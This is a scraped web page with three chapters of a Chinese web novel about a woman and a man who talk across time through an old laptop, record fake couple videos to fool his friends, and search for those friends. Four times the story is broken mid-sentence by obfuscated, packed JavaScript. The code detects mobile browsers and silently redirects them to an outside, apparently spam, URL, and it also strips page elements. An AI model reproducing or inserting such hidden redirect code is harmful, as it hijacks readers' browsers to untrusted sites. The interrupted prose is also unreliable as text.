程安宁认真盯着另一时空的梁彦在电脑上的操作，不多时，她看到两份照片文件出现在桌面上。 梁彦决定让她自己打开，于是开口示意：“打开就可以看了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740412|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 闻言，程安宁火速拿回电脑的控制权，自行移动鼠标指针，双击点开其中一张照片。 随着照片在电脑屏幕上呈现，她看到一道日思夜想的身影，双眼不可抑制地涌上一股热意。 思念到了极致，便会在看见的第一眼就忍不住落泪。 程安宁深呼吸一口气，别过脸极快地擦拭夺眶的泪水，随后又神色如常地面向屏幕，笑着说：“你还拍到我了啊。” 梁彦将她的反应都看在眼里，心里仿佛被一团湿棉花堵住，闷闷的，喘不过气，有些难受。 那双明亮的杏眸明明在笑，却有源源不断的悲伤从深处涌出来，像是从未停止过哭泣，只是没人看到。 为了缓解气氛，程安宁主动说起俏皮话：“怎么样？十八岁的我，是不是跟现在一样漂亮？” 梁彦不假思索：“嗯，很漂亮。” 程安宁一噎，没想到他还顺着这句话赏脸说好听的话。 以往她开类似玩笑的时候，叶思蕾总会说她臭美，然后两人一起哈哈大笑，氛围就此活跃起来。 可是现在把她整不会了。 不过很快，梁彦再次开口：“抱歉，第二张照片和第一张差不多。” “没事，我都爱看。”程安宁边说边查看另外一张照片。 和第一张照片一样，照片里，十八岁的她做着俏皮的鬼脸，站在意气风发的父亲程铭身旁。 当时的她在做什么呢？她已经记不清了。 这些令人眷念的生活片段，对当时的她来说只是再寻常不过的一天。她每天都一样幸福快乐，无忧无虑，从未想过这样的生活会在某一天戛然而止。 现在的她只能透过另一时空带来的照片，看着照片里再普通不过的日常，让自己知道父母还好好活着的事实。 虽然这个时空的她没办法接触到他们，但是没关系，她有了改写命运的机会，一家人会再次团聚的。到时她一定要紧紧抱住他们，然后大哭一场，让他们自个儿猜猜原因。 默默整理好情绪，程安宁看着屏幕里那张莫名严肃的俊脸，神色真诚：“梁彦，谢谢你。” 梁彦摇头：“没必要跟我客气，我们不是互帮互助么？” 程安宁总能被他意想不到的回答逗笑：“该有的礼貌还是要有的不是吗？” 梁彦眸光沉静地看着她，没有回话。 程安宁被盯得有些不好意思，扭头翻找自己的数据线，打算把照片传到手机上。 “不要难过。”安静了一瞬的电脑突然再次响起清冽磁性的男声。 程安宁疑惑，下意识抬眼：“啊？” 梁彦微抿薄唇，继续道：“你还会再见到你的父母。” 所以，不要哭了，程安宁。 此话一落，程安宁弯起眉眼，坚定点头：“嗯！你也一定会没事的！” 两人隔着不同的时空在屏幕里对视。 梁彦眼里化开暖色。 下一刻，前方的办公室门被一把推开，一道不合时宜的动静倏然响起：“彦哥，你是在跟谁说话吗？” 26.26 突然有人介入，梁彦迅速合上电脑，抬眼给了来人一记眼刀：“怎么不敲门？” 刘志辉缓步靠近他，嬉皮笑脸道：“这不看你在说话，特地搞个突袭嘛。” 刚才他经过梁彦的办公室门口，随便往门上的小窗户扫了一眼就看到梁彦盯着电脑嘴巴在动，像是在跟谁说话，脸上的神情他从未见过。 重要的是，他用耳朵贴着门听里面动静的时候，还隐约听到一个女人说话的声音。 这多新鲜呐！ 随着距离的缩近，刘志辉看到桌上那台熟悉的旧笔记本电脑，脸上笑意微敛，不确定问：“你刚才是在用这台电脑吗？” 梁彦眸底闪过思量，点头低嗯。 刘志辉神情微妙，拉开桌前的椅子坐下，怀疑自己是不是也出现幻觉了。 之前他觉得梁彦过度劳累产生幻觉，可是他刚才分明听到有女人说话的声音，这应该不是幻觉幻听吧？ 刘志辉指了指被合上的电脑，语气疑惑：“怎么不继续说话了？搞得神秘兮兮的，难不成有什么事情不能让我这个好兄弟知道的吗？”话中带着打趣。 梁彦垂眸看着那台旧笔记本电脑，一手搭在黑色亮面的外壳上，没有要打开的意思。 因为说好电脑能够跨时空交流这件事不能告诉第三人，所以刚才发现有人进到办公室，他第一反应自然是合上电脑。 只是没想到刘志辉还是发现他通过电脑跟人对话的事情。 好在办公桌离门有一定的距离，说话的内容肯定是听不清的，只是能够感觉到有说话声传出。 刘志辉伸手在他眼皮底下晃了晃：“怎么不说话了？要不我明天陪你去医院挂个精神科吧，怎么样？我感觉我也得顺便看看。” 思绪回笼，梁彦抬眼，拧眉反问：“你觉得我有病？” 刘志辉无奈耸肩，“你没病的话，你倒是说说你刚才是在跟谁说话？说实话，自从上次你说你能通过电脑跟人联系，我跟贺明都觉得你不太对劲。” “其实……”梁彦沉吟，顿了顿，迎上他的视线，补上一句：“我刚才是在跟我女朋友说话。” 这句话宛如惊雷，炸得刘志辉差点从椅子上跳起来：“我靠！你有女朋友了？？” 刘志辉一脸震惊，但很快又激动地站起身，双手撑在桌上，俯身靠近面前的好兄弟，神色与语气同步着亢奋的情绪：“什么时候的事情？平时都没听你说过，真是藏得够深啊你！” 梁彦伸手把那张几乎快贴上来的脸推开，神色平静：“有一段时间了。” 刘志辉老实坐回椅子上，嘴边问题不断：“对方人怎么样？有没有照片？什么时候带给我们见见？她也在清城吗？你们是怎么认识的？” 他挺为自己的好兄弟高兴的，只是他实在想不明白梁彦这种每天三点一线，眼里只有工作，并且从不主动接触异性、业余时间不参加各种局的人，是怎么在他毫不知情的情况下谈上对象的？ 被一个个问题接连炮轰，梁彦惜字如金：“我们是网恋。” 此话一落，刘志辉瞬间安静下来，原本八卦且亢奋的神色僵在脸上。他嘴角抽了抽，一脸见了鬼的表情：“不是，你的意思是说……你在用你这张伟大的脸跟人网恋搞纯爱？” 梁彦没有接他的话，继续顺着自己的话说下去：“总之，我没有在开玩笑。只是目前不方便介绍给你认识。” 越想越觉得匪夷所思，刘志辉定了定神，开始理智分析：“你别被骗了啊，万一屏幕另一头是个以抠脚大汉为首的诈骗团伙，就等着榨干你的钱财！你现在名气有了，钱也有了，说不定真被人家盯上专门给你做了一个局。” “她不是。”梁彦果断否定他的猜测。 刘志辉略显急躁地挠头：“对方的照片呢？这个你总可以给我看吧？你要是能拿得出证明，我就信你不是在开玩笑。” 梁彦目光扫过面前的笔记本电脑，淡声道：“下次吧。” 顿了顿，他直入主题：“我想说的是，如果未来哪一天有个女生突然联系你或者贺明，说是我的网恋女友，还请你们相信她，并且适当为她提供一些帮助。” 闻言，刘志辉忍不住抬手去探他和自己的额头温度，语气怀疑：“是你疯了还是我疯了？” 他这个好兄弟说是谈了个网恋对象，结果提供的信息少得可怜，要照片也拿不出，现在还胡言乱语，他真的怀疑梁彦疯了。 梁彦拍开他的手，“我是认真的。” 刘志辉沉住气，就他的话再次发出疑问：“好，先不说她是不是骗子吧。你刚刚说她会在未来某一天联系我们，请问她为什么要联系我们而不是你？” 梁彦不作答，只是提醒：“你记住我的话就可以了。” 见他三缄其口，并且说出的话实在是莫名其妙，刘志辉知道从他嘴里是问不出自己想知道的事情了，索性起身告辞，嘴边叹气的同时喃喃道：“我感觉你我都得早点下班休息。” 梁彦目送他离开办公室，直到耳边的脚步声走远，他这才重新打开笔记本电脑。 屏幕亮起，那张精巧的脸蛋再次出现在眼前，对方正在电脑前低头看手机，没有察觉到他这边的动静。 从这个角度看，还能看到她浓密卷翘的睫毛随着眨眼不时颤动。 见她还在电脑前，梁彦松了口气，莫名感到安心。 他眉眼舒展，开口打破静谧的氛围：“抱歉，刚才突然有点事情。” 听到动静，程安宁惊喜抬眼，看到对方重新出现在屏幕的视频界面上，语气带着猜中的小得意：“我刚才有听到你那边有其他人说话的声音，再加上你突然不在了，也就猜到你临时有事要忙。” 而她趁着这个空档，顺利把电脑上的照片传到自己的手机上了。 梁彦主动解释：“刚才是我朋友到我办公室，他听到我在跟人说话的声音，问我在跟谁说话。” 程安宁淡淡点头，随口问：“那你糊弄过去了吧？” 这种事情只要随便编个合理的理由，就很好糊弄过去，她不觉得有什么好担心的。 隔着屏幕，梁彦对上那双漂亮灵动的杏眸，如实回道：“我跟他说，我在跟网恋对象聊天。” 这是他经过一番思量后，故意说出这样的回答。 闻言，程安宁扑哧一声笑出来，面上难以置信：“为什么要这么说啊？你朋友不会觉得这样的事情很离谱吗？” 倒不是说网恋离谱，在这个网络发达的时代，很多人都是通过网络一线牵结识到好朋友或者另一半。只是对梁彦这号大佬级别的人物来说，现实世界肯定不缺发展对象，根本没必要搞网恋，他的朋友肯定不会相信这个说辞。 梁彦神色淡淡，不以为意道：“再离谱的事情，我们也能通过相互合作让其他人信服不是吗？” 程安宁微愣，顿时明白他这么做的用意。 他这是在自己所在的时空，帮忙侧面证实她在这个时空编造的网恋故事，方便她接下来好办事。 梁彦又道：“正好趁这次机会起这个头，这样你联系他们的时候，他们应该会记起这件事情。” 这是他目前能想到的协助程安宁的方法。 “不过我朋友需要我拿出你的照片才能相信我说的话，你可以给我一张照片吗？这样也好加深他对你的印象，其它信息我不会透露的。” 也不能透露。 毕竟十八岁的程安宁跟他没有任何交集。他要避免刘志辉或者是贺明舞到人家面前去。 程安宁会意点头，积极讨论：“单是照片就可以吗？要不要我也录制个视频增加真实性？” 梁彦赞同颔首：“都可以。” 刚才他想过要不另外找个时间，让程安宁配合隔着电脑跟刘志辉打声招呼，但是转念一想，两人的视频软件比较特殊，是他专门结合这台电脑和两人的情况做出来的，一看就不是市面上常见的软件，后续肯定会引起刘志辉更多的疑惑，所以这个想法被他否掉了。 达成共识后，程安宁打包票，说明天中午就能传到电脑上给他。 翌日早上，程安宁带上这台二手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765936|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电脑到公司上班，方便拍完视频就上传到电脑上。 在她看来，不就是假装给对象拍摄几秒的日常视频，能有多难？她这个急性子最擅长的就是，把能容易搞定的待完成事项给迅速解决了。 中午，程安宁领着公司订的快餐回到自己的工位上，打开手机相机做拍视频的准备工作。 拍一个跟对象分享自己吃午餐的视频，够日常够自然吧？ 打开前置镜头，确保人在手机画面里，程安宁看了一眼周围，确定其他人都在自己工位上吃东西玩手机后，这才点下录制图标。 她对着镜头打开面前的快餐盒，为了不引起两位同事的注意，特地压低声音开口：“梁彦，我现在准备吃午餐了，你吃了吗？我……” 说到一半，身后有人起身走动的声音，程安宁止住余下的话，转头看了一眼。 确定人家没往这边来之后，她重新看向镜头，继续道：“我在公司里呢，一会儿吃完饭准备午休了，你也要好好吃饭哦。” 说完，她还不忘扯出一个微笑作为视频的结尾，随后伸手点下停止图标。 想是一回事儿，做起来是另外一回事儿，程安宁兴冲冲点开刚拍好的视频。 但很快，她笑不出来了。 她自认为自然生动的视频，实际上看起来像在做贼一样小声说话，并且还东张西望，一副偷感很重的样子，有点像是从哪里偷了别人的外卖正跟同伙汇报战绩，但又得时刻留意不能让人发现的样子，最后还露出一个诡异的微笑，似乎死性不改，决定下次继续实施偷人外卖的计划。 看完视频，程安宁倒吸一口凉气，指尖默默点下删除选项。 算了，还是先在网上看看情侣之间拍的日常报备视频，找找感觉吧。 程安宁很快用手机搜索出一堆相关vlog。 她点开其中一个视频，一个清秀可爱的女生弯着月牙似的眼睛，轻声撒娇：“宝宝，我好想你，我今天也有乖乖吃饭哦，你有没有想我呀？我现在正在去超市的路上，今天的天气好好，要是有你在我身边就更好了。不过我知道我的宝宝跟我一样都在为了我们的将来努力，我……” 视频还没看完，程安宁已经开始头疼。 真情侣都这么腻歪的吗？完了，她感觉拍不出来，就连开头那句“宝宝”，她也喊不出口。这要是跟好姐妹叶思蕾互相录肉麻视频比赛，她倒能轻松上阵。 啊！有了，她拍视频的时候当作是在给姐妹拍报备视频不就行了吗？！ …… 另一时空，梁彦刚忙完上午的工作不久，正靠着椅背揉着眉心缓解疲劳。 一旁原本待机充电状态的笔记本电脑突然亮起屏幕。 梁彦见状，想起昨晚程安宁说今天中午会上传视频，随即坐直身子，挪过电脑查看。 屏幕上果然出现一个视频上传的界面。 看样子程安宁这会儿在使用电脑。 梁彦的目光落在视频上传的进度上，见已经百分之五十了，沉住气等待。 似乎是那边的电脑状况不佳，上传进度有点慢。 等了一会儿，上传进度总算到百分之九十，外边冷不防响起“笃笃笃”的敲门声，接着便是刘志辉的声音：“彦哥，我给你送午餐来了。” 闻言，梁彦合上电脑，出声示意：“进来吧。” 话落，办公室门被推开，刘志辉跟贺明一前一后走了进来。 刘志辉手中拿着一份餐盒，神色无奈：“你看你又忙到忘了吃饭，外边就剩你那份没拿走，我和贺明问了大家，都说是你的。” 公司有专人负责订餐，一人一份，有谁没取一目了然。 梁彦解释：“我刚忙完，打算歇一下就去。” 两人走到办公桌前停下。 梁彦道了声谢，接过刘志辉递来的那份午餐。 刘志辉侧目，极快地跟贺明使了个眼色。 贺明心领神会，目光落在办公桌对面的身影，故作自然地扯开话题：“彦哥，我听志辉说你谈了个女朋友？” 27.27 这件事情传到贺明那里，梁彦毫不意外，点头低嗯一声。 刘志辉轻咳，在旁边补充：“他谈的是网恋对象。” 梁彦抬眼看他们：“有问题？” 贺明笑了笑，接过话：“没问题，就是挺意外的。总感觉不像你会做的事情。” 说着，他顺势拉开椅子坐下，态度温和：“不过感情这事儿谁说得准呢？我相信对方肯定有独特的魅力才吸引到你，介意跟我说说对方是什么样的人吗？” 刘志辉在旁边嗤笑一声，语气酸溜溜的：“你还是别指望了，昨晚我问他，他连照片都不给我看，不知道有没有真的把我们当朋友呢。” 两人像在唱双簧，也像在用激将法。 梁彦看在眼里，神色淡淡，按照自己的原计划走：“我电脑里有保存我女朋友给我发的日常视频，既然你们想知道我有没有骗人的话，可以给你们看。” 程安宁的视频应该上传成功了，两位好兄弟又正好过来找他打探相关消息，他可以借助这个机会证实自己的话。 闻言，两人眼睛一亮，上一秒还在阴阳怪气的刘志辉立刻换上笑脸：“看看！看看！” 梁彦把餐盒放到一旁，重新打开那台旧笔记本电脑。 电脑桌面上果然多了一个视频文件。 与此同时，贺明和刘志辉兴冲冲凑到他身后两侧。 为了不被发现桌面上的软件，梁彦迅速点开视频挡住电脑桌面。 一张明艳精巧的脸蛋随之出现在视频画面里，脸上带着甜美的笑意。 这么漂亮？真的假的？？刘志辉和贺明面露诧异，为了识别视频的真假，俯身把脸凑得更近。 下秒，视频里传出悦耳轻柔的女声：“梁彦宝宝，你吃饭了吗？我现在准备吃饭了。” 此话一落，刘志辉和贺明神色微妙，不约而同地看向坐在电脑中间的梁彦。 身为“宝宝”当事人的梁彦，也在电脑前愣住了。 视频里的说话声还在继续：“我一会儿吃完午餐就要午休了，你呢？有没有乖乖吃饭？有没有注意休息？然后……有没有想我？我每天都一样想你。” 刘志辉打了个冷颤，忍不住摸了摸胳膊上起的鸡皮疙瘩。 接着，视频里的女生将声音放轻：“同事们都在偷偷看我呢，我先吃饭啦。” 视频就此结束。 三个大男人在电脑前沉默一瞬。 刘志辉和贺明这两位局外人看了这么腻歪的视频，都有种当面看着人家小情侣秀恩爱的感觉，感到怪不好意思的。 刘志辉拍了拍梁彦的肩膀，开口投降：“OK，我信了。” 贺明笑着拍了拍他另一边肩膀：“深藏不露啊彦哥。” 梁彦一言不发，默默合上电脑，看似波澜不惊的俊脸实际上烧得慌。 如果人会因为温度升高而冒烟的话，他这会儿应该头顶上频频冒出烟圈。 刘志辉用手肘撞了贺明的胳膊，语气揶揄：“诶，不能叫彦哥了，要叫梁彦宝宝。” 接着，两人围着梁彦哈哈大笑。 梁彦幽幽抬眼。 两人背脊一凉，笑声当即消散。 刘志辉伸手勾过贺明的肩膀，识趣告退的同时不忘继续调侃：“好了，你女朋友让你乖乖吃饭呢，我们就不打扰你了梁彦宝宝。” 说完，在另一记眼刀飞过来之前，他和贺明继续发出爆笑，火速逃离办公室。 办公室内回到原有的静谧。 梁彦垂眸看着被合上的笔记本电脑，没有勇气再打开看。 不得不说，程安宁上传的这段视频，他是佩服的。不管是表情还是语气都很自然，就像热恋中的女生在给男朋友分享日常，连刘志辉和贺明看了都相信是他网恋对象的事实。 是因为以前也给对象发过类似的视频分享日常吗？所以显得游刃有余？ 这个猜测从脑海里闪过，梁彦脸上的热意渐渐散去，脑海中不知怎的，想到了那个在她家门口玩闹的男生。 他眸光微暗，但很快深呼吸一口气，尽力忽视心情上的不快，把注意力放到正事上。 程安宁已经速战速决把视频拍出来了，他还没有做出行动。 对于自己的拖后腿行为，梁彦下定决心，打算在今天也把视频拍出来。 晚上忙完手头上的工作，他下班离开公司。 刚坐上车，梁彦想起拍视频的任务，随即拿出手机做准备。 先是在网上看了几段真情侣拍的日常视频素材，梁彦看着视频里刻意夹出气泡音的男生给女友拍摄的撒娇视频，眉头越皱越深，鸡皮疙瘩也越冒越多。 ……真的要这样吗？ 最终，梁彦放弃找素材学习，把目光转向副驾上的电脑包。 他似乎只有程安宁拍摄的那段日常视频可以参考了。 犹豫片刻，梁彦抱着学习的谦虚态度，拿出那台笔记本电脑。 昏暗的车内像是与外界隔开的另外一个空间，孤寂空洞，是只有他一人的世界。 随着笔记本电脑的打开，屏幕亮起，照亮了他的一方世界。 桌面还停留在视频文件的播放界面。 梁彦点下播放，那张白皙的脸蛋再次活跃在眼前。 白天刘志辉和贺明看到这段视频感觉到了腻歪，现在他独自看这个视频，反倒察觉了一些不被人注意的小细节。 比方在说完“每天都一样想你”后，程安宁转头抿嘴憋笑，像是被自己的话肉麻到了，接着又重新看向镜头，以被同事发现她为借口结束了视频录制，眼里闪过的精光俏皮生动。 梁彦神色专注，一向黯淡忧郁的眼眸迎着屏幕的亮光，染上了清浅的笑意。 他貌似知道该怎么拍了。 - 程安宁回到家时已经是晚上九点。 不是因为加班，而是叶思蕾直接到她公司楼下接她一块儿吃饭，说是涨工资了，必须庆祝一下，于是边吃边聊，眨眼就到这个时间了，最后董毅前去接叶思蕾，她也就顺便蹭人家的车回家。 等忙完洗澡吹头发等一系列琐事，时间临近十点。 程安宁这才坐下来打开电脑。 一想到自己白天拍摄的肉麻视频，她忍不住打了个寒颤，摸了摸胳膊上浮起的鸡皮疙瘩。 她拍视频的时候假装在做一个“拍肉麻视频恶心好姐妹”的挑战，于是轻松录完了。现在冷静下来想想，是她不敢二次打开欣赏的程度，也不知道有没有用力过猛，需不需要重拍。 现在时间不早了，对方应该看到了，赶紧问问那个视频合不合格。 电脑顺利开机，程安宁还没打开可以视频通话的软件，抬眼就发现她白天上传的视频文件底下，多出了另一个视频文件。 程安宁诧异一瞬，眸光微动。 那位大佬是把她要求的视频也拍出来了吗？ 程安宁点开视频文件，迎面就是一张占据整个视频画面的帅脸。 视频里光线昏暗，因为手机屏幕自带的光，所以只有镜头前的脸部是清晰的。 紧接着，薄唇微动，干净磁性的男声响起：“安宁，我下班了，现在准备回家。” 和往日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786152|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在电脑前听到的正经语气不同，视频里的嗓音温润放松，像是在面对亲昵关系的人特有的语气。 看到这反差的一幕，程安宁呼吸不由得放缓，耳边有一瞬只剩下自己的心跳声。 什么嘛，还真像是男朋友在给女朋友发报备视频的样子，看得挺让人不好意思的。 许是觉得内容干巴巴的，过于简短，对方在说完那句话后，又极快地补上一句：“我……今天也很想你，我先开车了，到家再给你打电话。” 话落，视频就此结束。 程安宁愣在电脑前，一时有些怀疑自己的耳朵。 什么玩意？刚才是有人叽里咕噜的趁乱说了句什么想你之类的话吗？ 程安宁神色惊奇，重新播放视频。 这一次，她竖着耳朵果然听到了那句略显别扭的情话，甚至捕捉到了对方脸上不易察觉的局促和不知如何安放的眼神。 程安宁忍俊不禁，在电脑前笑出声来。 她能够想象到对方为了拍这个视频做了多大的心理斗争。 嘴边的笑意还没收起，电脑屏幕突然弹出一个软件界面，刚刚视频文件里的那张俊脸出现在眼前。 见他出现了，程安宁也打开视频软件，熟络地打招呼：“晚上好，我看到你上传的视频了。” 电脑的另一端，梁彦尴尬轻咳，问：“那段视频过关吗？” 他刚刚就是看到电脑停留在他上传的那段视频的界面，知道程安宁已经在电脑前了才点开的对话软件。 “还不错。”程安宁笑意盈盈，打趣道：“你拍那样一段视频已经够为难你了吧？不过演技不错，如果眼神和神情能自然点的话，就更好了。” 这是在告诉他，她捕捉到了他在视频里的小破绽。 梁彦嘴角微扬，对上那双含笑的杏眸：“这是我看你中午那段视频学习后的成果。” 言外之意，他这是在学她。如果她觉得他的神情和眼神有问题，那么她的也一样没有好到哪儿去。 听出他话中的揶揄，程安宁微噎，肃着脸道：“我觉得我们需要加上‘禁止相互嘲笑’这一则新规定。” 可恶！这个家伙和她一样是细节怪吗？居然发现她不起眼的小破绽！ 梁彦眼里笑意加深，点头赞同：“我没意见。” 程安宁旋即追问：“我那段视频怎么样？应该没问题吧？” 闻言，梁彦脑海里闪过刘志辉和贺明贱兮兮调侃他“梁彦宝宝”的画面，无奈勾唇：“嗯，我朋友已经看了，他们都相信了。” 接下来很长一段时间，这个称呼怕是会像魔音绕耳一样经常出现在他耳边了。 程安宁眸光一亮，松了口气：“太好了！他们现在应该对我有些印象了，我最近可以找个时间联系他们了！你把他们的联系方式给我吧！” 梁彦会意颔首，把两人的名字和手机号码都打在了软件自带的聊天界面上，同时告知：“这两位是我大学认识的朋友，我们关系很好，也都是未来科技的股东。” 程安宁认真记下，拿起手机拍下联系方式。 第二天中午，程安宁吃完饭，立刻拿上手机去到楼道尝试拨打其中一个号码。 只是，听着手机另一端传来无法接通的提示音，程安宁没多想，又拨打了另外一串号码。 这一次，手机那端同样传出无法接通的提示。 程安宁一脸愕然，不信邪又重拨过去。 接连三次都得到相同的结果后，程安宁一时愣在原地。 怎么回事？这几年间，梁彦的两位好兄弟都换号码了？ 28.28 程安宁收起手机，眸底闪过一抹思量。 两人都联系不上，看样子亲自到未来科技找人比较好。反正她昨晚已经把梁彦录的那段视频传到手机上了，再加上梁彦在另一时空协助，给他那两位好兄弟看过她的视频了，她这边再亮出梁彦的那个视频，肯定能让他们相信她就是梁彦的网恋对象。 敲定主意，程安宁立刻请了一个下午的假。 她在骑共享单车和打车之间纠结一下，最终看着毒辣的阳光，想到上次得到的五千块赔偿，果断选择打车。 骑单车要一个小时左右的路程，打车不到半个小时就到了。 程安宁一下车就顶着烈日冲进冷气充足的未来科技大厦。 大厅清凉的冷气很快驱散身上萦绕的热意，程安宁直奔前台的接待员，开门见山道：“你好，我想找你们公司的刘总刘志辉，我是他的朋友。” 闻言，前台的接待员愣了一瞬，“您好，我们刘总早在两年前退出未来科技了。” 程安宁闻言错愕，又问：“你们知道他的最新联系方式或者住址吗？” 接待员摇头：“抱歉，不清楚呢。” 程安宁追问：“那贺明贺总呢？他还在未来科技吗？” 接待员微笑示意：“见我们贺总需要跟他提前预约，请您提供一下名字和联系方式，我这边查询一下预约信息，确认无误的话会有专人带您去见他。” 程安宁呼吸一窒，眉头紧皱。 她当然没有提前预约，更别提能不能查到预约信息了。 程安宁不死心，语气商量：“能不能帮忙带句话给贺总？就说我是梁彦的女朋友，有很重要的事情找他。” 接待员婉拒：“抱歉，我们不帮带话的。” 旁边的保安围观全程，忍不住搭上话：“每天想见贺总的人很多，我们没办法做到把每个人的话都带到贺总面前，更何况这其中不缺有人捣乱，容易连累到我们好心办错事。再加上我们只是小职员，平时几乎不会直接接触到高层领导的。” 也就是说，他们的工作范围有限，没有义务带话，而且平日里很难见到高层领导。 程安宁只好打消这个念头，识趣告退：“抱歉打扰了。” 说完，她转身离开前台。 不过她没有急着离开未来科技，熟门熟路地往等待区的方向去，准备在这里继续蹭冷气顺便想想办法。 程安宁忍不住叹气。 她一开始把事情想得太简单了。 原以为证明她和梁彦的证据什么的都准备好了，不会出问题，只要放心联系梁彦的两位朋友就行了，却没想到在联系梁彦的两个朋友这里出了差错。 路过一处展示区，程安宁停下脚步，目光好奇地扫过那些宣传海报。 这里是上次发现印着梁彦信息那张海报的地方。现在展示区全都换上新的展示牌内容，只是上面不见梁彦的相关介绍。 像是被抹去了存在过的痕迹。 程安宁皱眉加深，心里蔓延出不满的情绪。 梁彦为未来科技做出那么多成就和贡献，即便后来成了植物人，也无法抹去他是未来科技的核心人物的事实。可是展示区的内容不再有他的名字，仿佛他的成就早已随着他当年遭遇的意外逐渐被淡忘，直至今日不值得被提及。 视线扫过其中一块展示牌上的照片，程安宁瞳孔一缩，眸光倏然顿住。 照片上，男人西装革履，笑容温和，右眼眉骨上一块显眼的疤痕。 是先前在医院里带着一群保镖，还强行翻她包包的那个男人！ 上次她和叶思蕾到过未来科技，恰好看到工人把这块展示牌换上去，那时她扫了一眼，觉得笑容有点假和油腻，颜值也没有梁彦的惊为天人，就没怎么记住。 现在再次看到，特别是那块疤，一下子就跟她在医院里遇到的那个男人的样貌对上了！ 并且这个男人的身份是…… 程安宁的目光顿住照片旁边的名字上，神色难以置信。 这个男人就是贺明？！ …… 夕阳西斜，烈日减弱，空气中的暑热却没有减少半分。 拥堵的马路频繁响起突兀刺耳的车鸣声，梁彦陷在车流中，沉静地等着前方的红灯倒数，目光不时落在车内导航显示的路线上。 他今天又要前往东林区的朗月居南区第168号别墅，也就是程安宁的家。 上次他只拍了程安宁父亲的照片，今天打算再到她家附近碰碰运气，看能不能拍到她母亲的身影。 这次他特地避开白天，选择没有强烈紫外线的时间段。 经历塞车的下班高峰期，再加上不算短的路程，梁彦抵达目的地的时候，天色已经完全暗下来。 晚上的别墅区安静祥和，路过其它独栋别墅门前，能够看到各家的院子里有人乘凉和打理花草，或者是在举办家庭聚会，温馨惬意。 这个时间点不少人会出门在别墅区内散步运动，或者在院子里闲聊和吹吹夏季的晚风，他希望也能看到程安宁家里有人出门或者回来。 梁彦先是降下一半的车窗，开车经过第168号别墅。 他放缓车速，透过车窗看向别墅的院子里，没有见到人的身影，和听到任何动静，只能透过别墅窗户看到里面亮着灯。 见状，梁彦把车开到前方掉头，再次从168号别墅前经过。 为了方便观察，他跟上次一样，把车停在了昏暗无人的167号别墅门前，并谨慎地关上车窗。 停稳车辆，梁彦靠在车座椅上，盯着前方没有任何动静的门口看了一会儿，把目光转向副驾上的电脑包。 这个时间点，另一时空的程安宁应该下班了，不出意外的话，也差不多到时间开电脑了。 虽然他现在也有时间开电脑，但是他想等回去了再跟程安宁联络。 他不想程安宁知道他的行程后，最后却因为他没能拍到照片而白期待一场。 梁彦转头去拿后座的另一个电脑包，打算先处理一些简单的工作。 不知过了多久，一束车灯从后方照了过来。 梁彦从工作状态中抽离，侧目看向车窗外，一辆酷黑的路虎车从旁驶过。 他看到一张漂亮明艳的脸蛋从后座的车窗内探出来，好奇地盯着他的车看。 是十八岁的程安宁。 梁彦的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786153|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线毫无防备地跟她撞了个正着，丝毫没有躲开的反应时间。 心刚提到了嗓子眼，但很快，他意识到自己的车窗贴的是防窥膜，暗自松了口气。 与此同时，路虎车停在前方的第168号别墅门口。 接着，程安宁率先从后座下车，目光仍好奇地往他这辆车的方向看。 梁彦沉住气，合上电脑坐在原位。 怪不得他一直没有看到任何动静，原来是一家人出门了。 紧接着，另外两道身影从前座下来，是一对衣着光鲜亮丽的中年男女。 梁彦认出了其中一位是程安宁的父亲，随即反应过来，拿起手机打开相机，将镜头对准车外不远处的三道身影。 一家三口正在门口说着话。 车内，梁彦悄然降下车窗，开了一条小缝听外边的动静。 因为有些距离，听不清对话内容，只听到了三人愉悦的笑声。 梁彦趁着这个机会拍下很多照片，并且打开了录制视频的功能。 下一刻，手机镜头里，十八岁的程安宁突然转身朝他这边走来。 梁彦呼吸一窒。 接着，不远处响起程母的呼唤声：“宁宁，你要去哪里？刚刚不是说要赶紧回家洗澡，然后开始做你的手工吗？” 